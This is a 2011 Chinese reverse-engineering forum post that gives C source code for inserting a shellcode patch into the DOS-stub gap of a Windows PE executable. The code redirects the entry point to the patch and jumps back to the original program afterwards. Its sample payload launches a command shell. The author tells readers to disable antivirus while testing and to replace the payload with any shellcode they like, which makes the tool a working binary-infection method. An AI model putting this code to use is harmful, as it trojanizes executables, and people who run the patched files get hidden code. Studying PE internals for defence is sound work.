前些天我发了一篇帖子，《PE结构中插入一段补丁程序》，有人说那个用汇编写的，可读性太差了，所以今天我重新写了这篇帖子，把原来的程序改成了C语言，程序中有详尽的注释，可为那些想学习写PE补丁程序的人们一些参考，当然鄙人是个菜鸟，如有不妥指出，还请高人指点指点。
源代码如下：
/*
* 本程序的功能:在PE空隙中插入一小段补丁程序，PE被加载后，补丁程序先于原程序运行，后将执行权转移给原程序
* 补丁在PE结构中的大致位置:
* --------------------------------
* | DOS 头 |
* --------------------------------
* | DOS Stub |
* --------------------------------
* | 补丁程序 |
* --------------------------------
* | PE 头 |
* --------------------------------
* | 节表 |
* --------------------------------
* | 节 |
* --------------------------------
*
* 注意:为了使程序字节变得更小，在这里补丁程序和DOS Stub部分是重合的
* 本程序在Windows XP SP2 VC6.0下编译通过
* 请在测试本程序时关闭360或者将其添加为信任,否则会给您的测试带来不便
*/
#include <windows.h>
#include <stdio.h>
char cObjectFile[]="C:\\PE\\PE.exe";
char cSaveFile[]="C:\\PE\\newPE.exe";
char *szFileBuffer=NULL;
char *szOldFile=NULL;
//实用补丁程序字节码
DWORD dwPatchSize;
char* cPatch;
/*
* 请将补丁字节码粘贴在这里,后面跟随若干个90,请确保该_cPatch的缓冲区比较小,
* 如果缓冲区过大，可能会使补丁程序无法正常跳转到原程序入口,
* 或者使补丁不能正常插入到原程序中
* 建议缓冲区大小为8的倍数
*/
//待用补丁程序字节码
DWORD _dwPatchSize=192;//192=12*16
char* _cPatch=new char[_dwPatchSize]=//本补丁的功能是弹出一个cmd,其默认msvcrt.dll已被加载
"\x55"
"\x8b\xec"
"\x33\xff"
"\x57"
"\x83\xec\x08"
"\xc6\x45\xfe\x6d"
"\xc6\x45\xfd\x6f"
"\xc6\x45\xfc\x63"
"\xc6\x45\xfb\x2e"
"\xc6\x45\xfa\x64"
"\xc6\x45\xf9\x6e"
"\xc6\x45\xf8\x61"
"\xc6\x45\xf7\x6d"
"\xc6\x45\xf6\x6d"
"\xc6\x45\xf5\x6f"
"\xc6\x45\xf4\x63"
"\x8d\x45\xf4"
"\x50"
"\xb8\xc7\x93\xbf\x77"
"\xff\xd0"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90";
DWORD ddPatchRVA;//补丁起始地址RVA
DWORD ddPatchFOA;//补丁文件FOA
////////////////////////////
//PE信息
DWORD dwe_lfanew=0x3c;//常量
DWORD ddPEHeaderSize=248;//PE头的大小-常量
DWORD dwSectionHeaderFileOffset=20;//节表头到文件偏移项的偏移-常量
DWORD dwSectionHeaderSize=40;//一个节表项的大小-常量
DWORD ddHeaderAndSectionSize;//头+节表在文件中总大小:DOS头+PE头+节表
LONG e_lfanew=0;
DWORD dwDosSize=0;//DOS头和DOS Stub的总大小
DWORD ddAddressOfEntryPoint;//程序执行入口RVA
WORD wNumberOfSection;//PE中节的数量
DWORD dwSectionTableStart;//节表起始处的FOA
DWORD dwDataDirectorySize=0;//数据目录数组的总大小
DWORD ddNumberOfRvaAndSizes;//数据目录项目个数
DWORD ddSegmentOffset;//节偏移
DWORD ddSectionAlignment;//内存中节的对齐粒度
DWORD ddFileAlignment;//文件中节的对齐粒度
char* ddtextName=new char[6];//.text节的名字
DWORD ddtextSizeOfRawData;//.text节的在文件中对齐后的尺寸
DWORD ddtextFileOffset;//.text节在文件中的偏移
DWORD ddtextRVA;//.text节的RVA
DWORD ddAddressOfEntryPointXX;//原始程序入口RVA与新入口RVA跳转时的XX
BYTE byE9=233;//长跳转指令字节码 E9 XXXXXXXX
//用C语言编写在PE间隙中插入程序
void ModifyExe_C(char* file)
{
//首先计算实用补丁程序大小和待用补丁大小程序的差异，如果差异过大，则不允许插入补丁程序
if(_dwPatchSize>dwPatchSize)
{
printf("不允许插入补丁程序\n");
return ;
}
else
{
cPatch=new char[dwPatchSize];
memset(cPatch,144,dwPatchSize);//144=90h
memcpy(cPatch,_cPatch,_dwPatchSize);
}
HANDLE h;
DWORD readed;
h=CreateFile(file,GENERIC_READ | GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
//获得文件的大小
DWORD ddFileSize;
ddFileSize=GetFileSize(h,NULL);
//读取原始文件
szOldFile=new char[ddFileSize+1];
ReadFile(h,szOldFile,ddFileSize,&readed,NULL);
//新文件的内容缓冲区
szFileBuffer=new char[ddFileSize+dwPatchSize];
//复制DOS头+PE头+节表+多于部分
memcpy(szFileBuffer,szOldFile,ddPatchFOA);
//复制补丁程序
memcpy(szFileBuffer+ddPatchFOA,cPatch,dwPatchSize);
//插入剩余部分字节
memcpy(szFileBuffer+ddPatchFOA+dwPatchSize,szOldFile+ddtextFileOffset,ddFileSize-ddtextFileOffset);
PIMAGE_NT_HEADERS pImage_nt_headers=NULL;
//修改程序执行入口RVA-AddressOfEntryPoint
pImage_nt_headers=(PIMAGE_NT_HEADERS)(szFileBuffer+e_lfanew);
pImage_nt_headers->OptionalHeader.AddressOfEntryPoint = ddPatchFOA;
//修改跳转到原始程序入口RVA的字节码 E9 XX
void* address = (void *)(szFileBuffer+ddPatchFOA+dwPatchSize-5);//+sizeof(IMAGE_OPTIONAL_HEADER)+dwPatchSize-5;
memcpy(address,&byE9,1);
address = (void *)(szFileBuffer+ddPatchFOA+dwPatchSize-4);
memcpy(address,&ddAddressOfEntryPointXX,4);
//关闭文件
CloseHandle(h);
//写入新文件中
h=CreateFile(cSaveFile,GENERIC_READ | GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
WriteFile(h,szFileBuffer,ddFileSize+dwPatchSize,&readed,NULL);
CloseHandle(h);
}
//用C语言写的获取PE的信息
void GetPEInformation_C(char *file)
{
HANDLE h;
DWORD readed;
h=CreateFile(file,GENERIC_READ | GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
//获得文件的大小
DWORD dwFileSize;
dwFileSize=GetFileSize(h,NULL);
//读取原始文件
szOldFile=new char[dwFileSize+1];
ReadFile(h,szOldFile,dwFileSize,&readed,NULL);
PIMAGE_DOS_HEADER pImage_dos_header=NULL;
PIMAGE_NT_HEADERS32 pImage_nt_headers32=NULL;
PIMAGE_SECTION_HEADER pImage_section_Header=NULL;
//计算DOS头和DOS Stub的总大小
pImage_dos_header = (PIMAGE_DOS_HEADER)szOldFile;
e_lfanew=pImage_dos_header->e_lfanew;
//获得原始程序入口RVA
pImage_nt_headers32 = (PIMAGE_NT_HEADERS32)(szOldFile+e_lfanew);
ddAddressOfEntryPoint = pImage_nt_headers32->OptionalHeader.AddressOfEntryPoint;
//获得内存中节的对齐粒度
ddSectionAlignment = pImage_nt_headers32->OptionalHeader.SectionAlignment;
//获得文件中节的对齐粒度
ddFileAlignment = pImage_nt_headers32->OptionalHeader.FileAlignment;
//计算节偏移
ddSegmentOffset = ddSectionAlignment - ddFileAlignment;
//获得PE中节的数量
wNumberOfSection = pImage_nt_headers32->FileHeader.NumberOfSections;
//数据目录数组的目录项数一般为16
ddNumberOfRvaAndSizes = 16;
//计算.text节在文件的偏移
//计算.text节在文件中对齐后的尺寸
//计算.text节的RVA
char pName[IMAGE_SIZEOF_SHORT_NAME];
for(int i=0;i<wNumberOfSection;i++)
{
pImage_section_Header = (PIMAGE_SECTION_HEADER)(szOldFile+e_lfanew+sizeof(IMAGE_NT_HEADERS32)+i*sizeof(IMAGE_SECTION_HEADER));
memset(pName,0,IMAGE_SIZEOF_SHORT_NAME);
memcpy(pName,pImage_section_Header->Name,IMAGE_SIZEOF_SHORT_NAME);
if(strcmp(pName,".text")==0)
{
memcpy(ddtextName,pName,IMAGE_SIZEOF_SHORT_NAME);
ddtextFileOffset = pImage_section_Header->PointerToRawData;
ddtextSizeOfRawData = pImage_section_Header->SizeOfRawData;
ddtextRVA = pImage_section_Header->VirtualAddress;
break;
}
}
//计算头+节表在文件中总大小:DOS头+PE头+节表
ddHeaderAndSectionSize = e_lfanew + sizeof(IMAGE_NT_HEADERS32)+wNumberOfSection*sizeof(IMAGE_SECTION_HEADER);
//计算补丁起始地址FOA
ddPatchFOA = ddHeaderAndSectionSize+11*16;
//计算实用补丁程序大小
dwPatchSize = ddtextFileOffset - ddPatchFOA;
//计算原始程序入口RVA与新的入口RVA之间跳转时的XX
ddAddressOfEntryPointXX = ddAddressOfEntryPoint -(ddPatchFOA+dwPatchSize);
//如果不需要输出原程序的信息，可以将下面的输出注释起来
printf("原程序绝对路径: %s\n",cObjectFile);
printf("e_lfanew=0x%x\n",e_lfanew);
printf("Address of Entry Point = 0x%x \n",ddAddressOfEntryPoint);
printf("ddSectionAlignment = 0x%x \n",ddSectionAlignment);
printf("ddFileAlignment = 0x%x \n",ddFileAlignment);
printf("ddSegmentOffset = 0x%x \n",ddSegmentOffset);
printf("Number Of Section = %d \n",wNumberOfSection);
printf("ddNumberOfRvaAndSizes = %d \n",ddNumberOfRvaAndSizes);
printf("====================节表==============================\n");
printf("%s 文件中的偏移: 0x%x\n",ddtextName,ddtextFileOffset);
printf(" 文件中对齐后的尺寸: 0x%x\n",ddtextSizeOfRawData);
printf(" 节的RVA: 0x%x\n",ddtextRVA);
printf("====================调试信息==============================\n");
printf("补丁的文件偏移: 0x%x\n",ddPatchFOA);
delete szOldFile;
CloseHandle(h);
}
void main(int argc,char* argv[])
{
GetPEInformation_C(cObjectFile);
ModifyExe_C(cObjectFile);
}
读者可将待用补丁字节码数组中的字节码换成自己喜欢的shellcode，运行本程序，就可以把shellcode以补丁的形式插入目标文件中。
请读者注意：本程序在Windows XP SP2 VC6.0下编译通过，可能在其他的环境下不兼容，程序无法正常运行，我没有测试过。
- 标 题：PE结构中插入一段补丁程序(C语言版)
- 作 者：luyuanwan
- 时 间：2011-12-01 13:05:22
- 链 接：http://bbs.pediy.com/showthread.php?t=143612